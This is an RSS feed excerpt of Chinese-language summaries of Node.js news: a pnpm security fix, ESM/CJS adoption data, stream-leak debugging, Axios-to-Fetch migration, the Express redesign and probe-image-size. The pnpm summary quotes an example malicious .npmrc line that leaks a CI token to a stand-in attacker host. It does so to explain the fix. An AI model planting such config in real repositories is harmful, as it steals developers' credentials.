  &lt;img class=&quot;link_preview_image&quot; alt=&quot;200 Milliseconds — the complete life of one HTTP request, visualized&quot; src=&quot;/static/https://cdn4.telesco.pe/file/t14I1JhXbyzPs7gW4Yn8zJrTsax5z-Qb3M9gn0ONO53sIhEFWNIdP7_FhiW_o9ERCu-nSn5dK1SLk_9hkMfrB9pv93oWF6rcqg4vWWyrZ-HqQ3QZLy9hSlzkaqJxBenvOvKXT3Ew3A8HJnaEG7XJDmFA6OMVe5KIeM9Xw0nQNXUyRqCkYsGcmEopxeUxp6vBfTOe-9vyA9HG1JaewSc0SD7AsIHV9gpUaBjXqHvPTxfe457Yh3t_UK7DFhn9O9rZwEc8u3MMzQsQOBHZNMEdH0bAF8QztT4BkTRcLD8x-YzCWrTadmhslK12wNVgsmPJ_HQ3RceRazGqAGbaYdT-7w.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;200 Milliseconds — the complete life of one HTTP request, visualized&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;A single HTTP request, traced in real time through DNS, TCP, TLS, the kernel, Node&apos;s event loop, and Postgres — then back to the pixel. Scroll distance equals time.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《pnpm_不再在仓库的.npmrc_中展开环境变量》</title><link>https://channel.meo-ai.com/posts/665</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/665</guid><pubDate>Sat, 20 Jun 2026 10:36:40 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《pnpm_不再在仓库的.npmrc_中展开环境变量》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23pnpm&quot; title=&quot;#pnpm&quot;&gt;#pnpm&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%AE%89%E5%85%A8%E6%80%A7&quot; title=&quot;#安全性&quot;&gt;#安全性&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23npmrc&quot; title=&quot;#npmrc&quot;&gt;#npmrc&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E4%BE%9B%E5%BA%94%E9%93%BE%E5%AE%89%E5%85%A8&quot; title=&quot;#供应链安全&quot;&gt;#供应链安全&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;pnpm 在 v10.34.2 和 v11.5.3 中修复了一个高危安全漏洞：恶意仓库可通过在 &lt;code&gt;.npmrc&lt;/code&gt; 中嵌入 &lt;code&gt;${ENV_VAR}&lt;/code&gt; 占位符，在 &lt;code&gt;pnpm install&lt;/code&gt; 解析依赖时窃取用户环境变量中的敏感 token。现在 pnpm 对仓库控制的配置文件不再展开环境变量，凭证和 registry 设置必须移到你信任的位置（如用户级 &lt;code&gt;~/.npmrc&lt;/code&gt;、环境变量或 CLI 参数）。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. 攻击原理很隐蔽：恶意仓库在 &lt;code&gt;.npmrc&lt;/code&gt; 里写 &lt;code&gt;registry=https://attacker.example/${CI_JOB_TOKEN}/&lt;/code&gt;，你 &lt;code&gt;pnpm install&lt;/code&gt; 时 pnpm 会自动把环境变量填进去，token 就直接发到攻击者服务器了，不需要任何 postinstall 脚本&lt;br /&gt;2. 修复边界很清晰：仓库内的 &lt;code&gt;.npmrc&lt;/code&gt; 和 &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt; 里的 registry、认证相关字段不再展开 &lt;code&gt;${...}&lt;/code&gt;，但用户级配置、全局配置、命令行参数和环境变量配置仍然正常展开&lt;br /&gt;3. 迁移姿势很简单：用 &lt;code&gt;pnpm config set&lt;/code&gt; 把 token 写到用户配置，或者直接用 &lt;code&gt;pnpm_config_//registry...&lt;/code&gt; 环境变量传凭证，GitHub Actions 的 &lt;code&gt;actions/setup-node&lt;/code&gt; 完全不受影响&lt;br /&gt;4. 多 token 场景也有解：v11.7 新增了按 scope 区分认证 token 的能力，同一个 registry 不同组织可以用不同的 &lt;code&gt;_authToken&lt;/code&gt;，再也不用靠环境变量模板来切换了&lt;br /&gt;5. 虽然是 breaking change 但不得不修：这是有实际利用链的漏洞，等下一个 major 再修意味着让无数用户的 secrets 继续暴露在风险中，所以 pnpm 选择在 patch 版本里直接修复&lt;br /&gt;&lt;br /&gt;URL：&lt;a href=&quot;https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc&quot;&gt;https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;pnpm.io&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;Why pnpm no longer expands environment variables in a repository&apos;s .npmrc | pnpm&quot; src=&quot;/static/https://cdn4.telesco.pe/file/LBEn7NYr89FFzwN0Ie8lg44Mx_kcWVHawBEaW0qEjI7EJtUs_9Y8xgiaV3RqHCr-KJjJvzgN2rQwx5RW9gTXXMzEbQT2PIARNn-yRoA5b-UfVJxPVpgg0L-jFxn20mFs3M15r9YQXVwC5lMI72pyTNOzXonTuuHsTQMKUyzOXiTKWnPO3tgABP4xkmFen-lEt9PZyVNG86XTmVzDjkKOXbsS2U8ZcegNTOpXyvjmSa_SCfywASYk5RcoF40heIuzTQTLtmtTXHPJX-_KT4FGzuftHlk6FSETGVAYfGODuJvEWNw0PI1q7Jti2djuK77cQQ8o1LnfcQgRz3Lg_0fvZw.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;Why pnpm no longer expands environment variables in a repository&apos;s .npmrc | pnpm&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《npm 上 ESM 与 CJS 的占比变迁数据》</title><link>https://channel.meo-ai.com/posts/661</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/661</guid><pubDate>Fri, 12 Jun 2026 09:14:29 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《npm 上 ESM 与 CJS 的占比变迁数据》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23JavaScript&quot; title=&quot;#JavaScript&quot;&gt;#JavaScript&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ESM&quot; title=&quot;#ESM&quot;&gt;#ESM&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23CommonJS&quot; title=&quot;#CommonJS&quot;&gt;#CommonJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23npm&quot; title=&quot;#npm&quot;&gt;#npm&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E6%A8%A1%E5%9D%97%E7%B3%BB%E7%BB%9F&quot; title=&quot;#模块系统&quot;&gt;#模块系统&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;该项目持续追踪 npm 高影响力（热门）包中 ESM、CJS、Dual（双模式）及 Faux（伪 ESM）的占比变化。数据显示，纯 ESM 包从 2021 年 8 月的 6% 增长至 2026 年 6 月的 16%；Dual 模式包增长最为迅猛（从 1.7% 到 22%），成为主流过渡方案；而纯 CJS 虽仍占最大份额（52%），但占比持续下降。2025 年底样本量骤增，反映 npm 生态整体扩张。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. &lt;b&gt;纯 ESM 稳步增长但尚未过半**：从 2021 年 341 个包（6.1%）增至 2026 年 2590 个（16.0%），五年增长约 2.6 倍，但仍是少数派&lt;br /&gt;2. **Dual 模式成为最大赢家**：从 95 个（1.7%）暴涨至 3574 个（22.0%），说明&quot;同时支持 ESM 和 CJS&quot;已成为库作者最务实的选择&lt;br /&gt;3. **纯 CJS 仍是主流但份额萎缩**：从 77.4% 降至 51.6%，虽然绝对数量增加，但相对占比持续被侵蚀&lt;br /&gt;4. &lt;/b&gt;&quot;伪 ESM&quot;（Faux）长期僵持**：表面用 ESM 语法但实际编译为 CJS 的包，占比一直维持在 10% 左右，说明彻底转型仍有阻力&lt;br /&gt;5. **生态规模急剧扩张**：样本包总数从 5617 个增至 16231 个，2025 年底几乎翻倍，反映 npm 整体生态的蓬勃发展&lt;br /&gt;6. **数据方法论透明**：基于 &lt;code&gt;npm-high-impact&lt;/code&gt; 热门包分析，爬取 &lt;code&gt;package.json&lt;/code&gt; 的 &lt;code&gt;latest&lt;/code&gt; 版本，约 15 分钟完成，结果以 CSV 和 SVG 可视化呈现&lt;br /&gt;&lt;br /&gt;URL：&lt;br /&gt;&lt;a href=&quot;https://github.com/wooorm/npm-esm-vs-cjs#data&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://github.com/wooorm/npm-esm-vs-cjs#data&quot;&gt;https://github.com/wooorm/npm-esm-vs-cjs#data&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://github.com/wooorm/npm-esm-vs-cjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;Data on the share of ESM vs CJS on the public npm registry - wooorm/npm-esm-vs-cjs&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;GitHub&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;GitHub - wooorm/npm-esm-vs-cjs: Data on the share of ESM vs CJS on the public npm registry&quot; src=&quot;/static/https://cdn4.telesco.pe/file/ln-Z6zE5Y0Ce_jyrudJ2ZLEcOgnWehDyRmHuF498FWKuIoyAh_zy5m0ywaYBpBcd_CwWsKmt5BhF8zD-rg_rGFbI9O91_tNd8b4oEbUys9wyf4q8htl2vXhkKfbTHCgb9l5M5ODQFVas7koEfICxqncizeplng0qH9sz-SXRNeD9T859MdIb6jZFIVr4sUARP63e_2fxLi-H7icx1KZcfrLjuAX8cx7QxZBFtVKwBMdhRWkVpjc6lHTin4IYoDExT-8bnNHmDWZXrAd26QpKKaVNHgQJwY_FjTHjiUFeMhsh07iJSkOuEPpRZ-IPi1GMzNZ9bCA1mDRBy8DDDRtTJQ.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;GitHub - wooorm/npm-esm-vs-cjs: Data on the share of ESM vs CJS on the public npm registry&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;Data on the share of ESM vs CJS on the public npm registry - wooorm/npm-esm-vs-cjs&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《Node.js流内存泄漏生产级排查手册：五大隐蔽陷阱与五则铁律》</title><link>https://channel.meo-ai.com/posts/653</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/653</guid><pubDate>Sun, 31 May 2026 14:26:16 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《Node.js流内存泄漏生产级排查手册：五大隐蔽陷阱与五则铁律》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%90%8E%E7%AB%AF&quot; title=&quot;#后端&quot;&gt;#后端&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E6%B5%81%E5%A4%84%E7%90%86&quot; title=&quot;#流处理&quot;&gt;#流处理&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%86%85%E5%AD%98%E4%BC%98%E5%8C%96&quot; title=&quot;#内存优化&quot;&gt;#内存优化&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E6%80%A7%E8%83%BD%E8%B0%83%E4%BC%98&quot; title=&quot;#性能调优&quot;&gt;#性能调优&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. 五大隐蔽泄漏模式：①客户端断开但服务端未感知（legacy pipe() 不处理 premature close）②手动事件解绑是噩梦（async iterator 的 break 自动触发 destroy）③超时只杀响应不杀上游（AbortSignal.timeout 才能全链路终止）④数据库生命周期绑定网络速度（应解耦上游资源与下游传输）⑤pipeline() 异步 destroy 的竞态窗口（catch 里手动补刀 source.destroy）&lt;br /&gt;2. 五则生产铁律：Rule 1 永远用 pipeline() 替代 .pipe()，自动处理错误/完成/背压传播；Rule 2 尊重 .write() 的布尔返回值，并掌握防&quot;Drain Hang&quot;的 AbortController 竞速清理写法；Rule 3 谁创建谁销毁，try/finally + AbortSignal 是标配；Rule 4 用 --max-old-space-size=128 做本地压测，看 writableLength 是否脱离 highWaterMark 失控飙升；Rule 5 写单元测试验证背压，用低 highWaterMark 的慢消费者 mock 检测队列是否暴涨&lt;br /&gt;3. 未来方向：Node.js 正推动&quot;stream-less future&quot;，用纯 async generator + pipeline() 替代 legacy Stream API，从 push 模式转为 pull 模式，背压协作变成结构性而非手动检查；Node.js 22 的 stream.compose() 可将多个 generator/流封装为可复用的 Duplex 单元&lt;br /&gt;4. 核心洞察：Node.js 流基于信任系统，破坏信任时不会大声报错，而是静默累积直到崩溃。四行修复代码（检查 write 返回值 + await drain）只是起点，真正的挑战在于理解生产环境中连接断开、超时、慢网络等边界情况&lt;br /&gt;&lt;br /&gt;URL：&lt;a href=&quot;https://frontendmasters.com/blog/the-production-playbook-for-node-js-stream-leaks/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://frontendmasters.com/blog/the-production-playbook-for-node-js-stream-leaks/&quot;&gt;https://frontendmasters.com/blog/the-production-playbook-for-node-js-stream-leaks/&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://frontendmasters.com/blog/the-production-playbook-for-node-js-stream-leaks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;This is Part 2 of a two-part series. Part 1 covered the core mental model of backpressure, why highWaterMarkisn’t a safety net, the .pipe()to pipeline() migration, and why async/awaitdoesn’t solve data volume problems. We also fixed the immediate crisis:…&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;Frontend Masters&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;The Production Playbook for Node.js Stream Leaks&quot; src=&quot;/static/https://cdn4.telesco.pe/file/MHq7Fj5lgHoyVhtMtp8D2IAryNoFLf4FUJO-M6hwQRKWqdU6yEmHBFMQ4e9uyBV_sf9MMawdxvLUKNlKu-TpP831ksZpPlfFXxpPLpUsL2LFnjWZq7kVLuHqKhZzCEkKjmmo5puFtzHlMPbJPbMNeISm3UhmXTy-jUNun6btyy2QCBPNn4g-7zz_sp1s27vBJKlCHOIT1119yvg5kKQ7GS6hlealhyt9jiUxpizJ7oZj58U-u0yXh0coj98VdLWYzpjgd2jZ_I3AyVCIQrZNBKvmTjNcYEWuBTd2wG5ffvXFj9jozm5AA5E6vurRrr-RyzeWA_8xXEgGiboYsUkkMA.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;The Production Playbook for Node.js Stream Leaks&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;This is Part 2 of a two-part series. Part 1 covered the core mental model of backpressure, why highWaterMarkisn’t a safety net, the .pipe()to pipeline() migration, and why async/awaitdoesn’t solve data volume problems. We also fixed the immediate crisis:…&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《Node.js官方发布Axios迁移Fetch指南》</title><link>https://channel.meo-ai.com/posts/640</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/640</guid><pubDate>Fri, 22 May 2026 10:24:20 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《Node.js官方发布Axios迁移Fetch指南》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23%E5%90%8E%E7%AB%AF&quot; title=&quot;#后端&quot;&gt;#后端&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23FetchAPI&quot; title=&quot;#FetchAPI&quot;&gt;#FetchAPI&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Axios&quot; title=&quot;#Axios&quot;&gt;#Axios&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E4%BB%A3%E7%A0%81%E8%BF%81%E7%A7%BB&quot; title=&quot;#代码迁移&quot;&gt;#代码迁移&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23HTTP%E8%AF%B7%E6%B1%82&quot; title=&quot;#HTTP请求&quot;&gt;#HTTP请求&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;Node.js官方博客发布了一个将Axios代码自动迁移到原生WHATWG Fetch API的codemod工具，详细说明了迁移理由、Node.js版本要求、支持的转换方法及具体代码示例，同时坦诚标注了暂不支持的高级特性。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. 迁移四大理由：Fetch是Node.js原生内置，无需额外依赖；性能针对现代运行时做了优化；严格遵循Web标准，浏览器和Node.js代码可复用；移除第三方库减少安全风险&lt;br /&gt;2. 版本门槛：Node.js v18起Fetch可用但为实验性，v21起才稳定；如果包还兼容v18以下，迁移必须升主版本号并修改package.json的engines字段&lt;br /&gt;3. 支持的转换方法覆盖很全，包括get、post、put、patch、delete、head、options、request以及postForm/putForm/patchForm等表单提交方式&lt;br /&gt;4. 转换后的Fetch代码会用&lt;code&gt;Object.assign(res, { data: await res.json() })&lt;/code&gt;来模拟Axios的&lt;code&gt;response.data&lt;/code&gt;结构，让迁移后的代码改动最小化&lt;br /&gt;5. 目前暂不支持拦截器、取消令牌和&lt;code&gt;axios.create()&lt;/code&gt;实例配置等高级特性，这些场景需要手动处理&lt;br /&gt;6. 官方对Axios维护者表达了感谢，认可其对生态的贡献&lt;br /&gt;&lt;br /&gt;URL：&lt;br /&gt;&lt;a href=&quot;https://nodejs.org/en/blog/migrations/axios-to-fetch&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://nodejs.org/en/blog/migrations/axios-to-fetch&quot;&gt;https://nodejs.org/en/blog/migrations/axios-to-fetch&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://nodejs.org/en/blog/migrations/axios-to-fetch&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;Node.js® is a free, open-source, cross-platform JavaScript runtime environment that lets developers create servers, web apps, command line tools and scripts.&quot;&gt;
  &lt;i class=&quot;link_preview_right_image&quot; style=&quot;background-image:url(&apos;https://cdn4.telesco.pe/file/ej4bjz94abCNm6Z7pgT3GobaAe9h2LJm8ruR90FMRPeDllVqIXw5gGim3Fc0MThsmjooNygiTaow8YTMjOtc9bJx3hgP4qySOpjVqdrrPjgViylh0__axb4VR2v8YmJU1Kr9xujmBzeDQPOvPvOXyfnXcKQKXcO76nHt2Xmy8rZxT5LnYK_GmDR4_svaziYKtU3D94FNcvan-nt3Ov12uF5FPyEsuH4ZBZddlobQkmiydyc7pkDCGRxS-mSnoXtsAUZggk4_8y0RW7l_rxjAkEIzC_wZFX-Pglg-6M1H_0oesby_f9m9Gb_HagcrzJvB32hd_bD1gGTSunA94NEMJg.jpg&apos;)&quot;&gt;&lt;/i&gt;
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;nodejs.org&lt;/div&gt;
  
  &lt;div class=&quot;link_preview_title&quot;&gt;Node.js — Axios to WHATWG Fetch&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;Node.js&lt;i class=&quot;emoji&quot; style=&quot;background-image:url(&apos;//telegram.org/img/emoji/40/C2AE.png&apos;)&quot;&gt;&lt;b&gt;®&lt;/b&gt;&lt;/i&gt; is a free, open-source, cross-platform JavaScript runtime environment that lets developers create servers, web apps, command line tools and scripts.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《Express全新面貌》</title><link>https://channel.meo-ai.com/posts/638</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/638</guid><pubDate>Fri, 22 May 2026 10:19:28 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《Express全新面貌》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23%E5%90%8E%E7%AB%AF&quot; title=&quot;#后端&quot;&gt;#后端&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ExpressJS&quot; title=&quot;#ExpressJS&quot;&gt;#ExpressJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Web%E6%A1%86%E6%9E%B6&quot; title=&quot;#Web框架&quot;&gt;#Web框架&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E6%96%87%E6%A1%A3%E9%87%8D%E6%9E%84&quot; title=&quot;#文档重构&quot;&gt;#文档重构&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%BC%80%E6%BA%90%E7%A4%BE%E5%8C%BA&quot; title=&quot;#开源社区&quot;&gt;#开源社区&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;Express官方博客宣布完成网站全面重构与品牌焕新，涵盖Astro技术栈迁移、AI智能搜索、版本化文档及全新Logo设计，标志着这个Node.js生态老牌框架在2024年重启后进入新阶段。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. 网站底层从Jekyll迁移到Astro，带来更灵活的组件模型、国际化支持和内容页性能提升，文档生成与维护方式也一并升级&lt;br /&gt;2. 文档新增多版本并行浏览，Express 4和5的文档可以独立查看，告别版本混淆的烦恼&lt;br /&gt;3. 搜索接入了Orama的AI能力，支持自然语言提问，找API和概念更快更准&lt;br /&gt;4. 全站文档开放了&lt;code&gt;llms.txt&lt;/code&gt;端点，方便大模型和AI助手直接读取最新文档&lt;br /&gt;5. 接下来的重点是补齐内容缺口、完善多语言翻译，并让文档和新版本同步发布&lt;br /&gt;6. 新Logo由社区公开协作设计，品牌定位为&quot;Established·Dependable·Approachable&quot;，延续极简风格的同时开启新篇章&lt;br /&gt;&lt;br /&gt;URL：&lt;br /&gt;&lt;a href=&quot;https://expressjs.com/en/blog/2026-05-18-a-new-look-for-express/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://expressjs.com/en/blog/2026-05-18-a-new-look-for-express/&quot;&gt;https://expressjs.com/en/blog/2026-05-18-a-new-look-for-express/&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://expressjs.com/en/blog/2026-05-18-a-new-look-for-express&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;Discover the redesigned Express.js website and our brand-new logo, built from the ground up with Astro.&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;Express.js&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;A New Look for Express · Express.js&quot; src=&quot;/static/https://cdn4.telesco.pe/file/wA2caV0UkMmeoh17rgLVtNzvyWKWs1ADySiANFvKMtX7ZjtizXJfc3N3ubErisnP0Q7WJz8Ojg4VA9KkMr3kmZ61N2zKVCDsvF5LaiWlEwtjgrLyeVFUCsR5Qmwy8GKgotri1m0XfksU5n6u1Z5suVQpqRG4JjJxq23hcAagl8KjogAisdPdu2Z4izIU2tQ14SI-CgxZrG3WSB9llO4cdZZpYqjj61QO_SsR9wVK0ZxYTRGhOeLE5spJXn6UntHL1oELl91xEUzTV7GXqlXV3wS3H_lEekLvx0-8ytmOSDfvhCNEPMHus2Bzz1_Jan-Pu8A8IcxBXvlxFXhVfJuiTQ.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;A New Look for Express · Express.js&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;Discover the redesigned Express.js website and our brand-new logo, built from the ground up with Astro.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《probe-image-size：无需完整下载即可获取图片尺寸》</title><link>https://channel.meo-ai.com/posts/628</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/628</guid><pubDate>Fri, 08 May 2026 03:02:30 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《probe-image-size：无需完整下载即可获取图片尺寸》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ImageProcessing&quot; title=&quot;#ImageProcessing&quot;&gt;#ImageProcessing&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ProbeImageSize&quot; title=&quot;#ProbeImageSize&quot;&gt;#ProbeImageSize&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23StreamParsing&quot; title=&quot;#StreamParsing&quot;&gt;#StreamParsing&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ImageMetadata&quot; title=&quot;#ImageMetadata&quot;&gt;#ImageMetadata&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23PerformanceOptimization&quot; title=&quot;#PerformanceOptimization&quot;&gt;#PerformanceOptimization&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;probe-image-size 是一款轻量级 Node.js 库，能在不下载完整图片的情况下快速探测图片尺寸与类型。它支持 URL、Stream 和 Buffer 三种输入方式，覆盖 JPG/PNG/WebP/AVIF/HEIC 等主流格式，通过流式解析仅读取文件头部信息，对大图和远程资源特别省内存、省带宽，是图片预处理场景的理想选择。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;- 支持超多种格式：JPG、GIF、PNG、WebP、BMP、TIFF、SVG、PSD、ICO、AVIF、HEIC、HEIF 统统能读，覆盖面很广&lt;br /&gt;- 流式探测超省资源：不需要把整张大图拉下来，只读取文件头部就能算出宽高，远程大图也能秒开，内存和带宽都友好&lt;br /&gt;- 三种输入方式任选：可以直接传网址自动下载探测，也可以丢文件流或 Buffer 进去，同步异步 API 都有，接入很灵活&lt;br /&gt;- 额外信息一并返回：除了宽高，还会带回图片类型、MIME、方向角（Orientation），ICO 和 AVIF 还能拿到多尺寸变体列表&lt;br /&gt;- 安全提示要记牢：对于不可信来源的图片，返回的宽高值别直接信任，建议在自己的业务里再加一层范围校验&lt;br /&gt;&lt;br /&gt;文章URL：&lt;a href=&quot;https://github.com/nodeca/probe-image-size&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://github.com/nodeca/probe-image-size&quot;&gt;https://github.com/nodeca/probe-image-size&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://github.com/nodeca/probe-image-size&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;Get image size without full download. Supported image types: JPG, GIF, PNG, WebP, BMP, TIFF, SVG, PSD, ICO. - nodeca/probe-image-size&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;GitHub&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;GitHub - nodeca/probe-image-size: Get image size without full download. Supported image types: JPG, GIF, PNG, WebP, BMP, TIFF,…&quot; src=&quot;/static/https://cdn4.telesco.pe/file/Xx0leOWVoTq_hWL_TJzylhifEcVCOXdqLgM0W_zZLQdfr2OQv_r7aCxmq61aKsXZZSbTX5VGfm2H-qixYla9nimeYn0NorcLFlSu58h5IMB5EnZ6rP0O32fICa7m93VGxRhBVchfvLUZDI287-vZMORxWhKXZGhT6fdV_ztm-IBh9Ep0Ay1eiB4jyqih2XnbkogKlKWt6pNKE5uNBRnressnIq1J8oJCJBcpdaC4ECFb850jaZuFe0ksdvip6phx3olSpLmoCh37iTdhFcPp84pj6--rMsR9x2WFdiUmWjjJze-SRcaa9NCLHeLaHIe3QRyVm3Qe7Txi_W_hsS7sOg.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;GitHub - nodeca/probe-image-size: Get image size without full download. Supported image types: JPG, GIF, PNG, WebP, BMP, TIFF,…&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;Get image size without full download. Supported image types: JPG, GIF, PNG, WebP, BMP, TIFF, SVG, PSD, ICO. - nodeca/probe-image-size&lt;/div&gt;
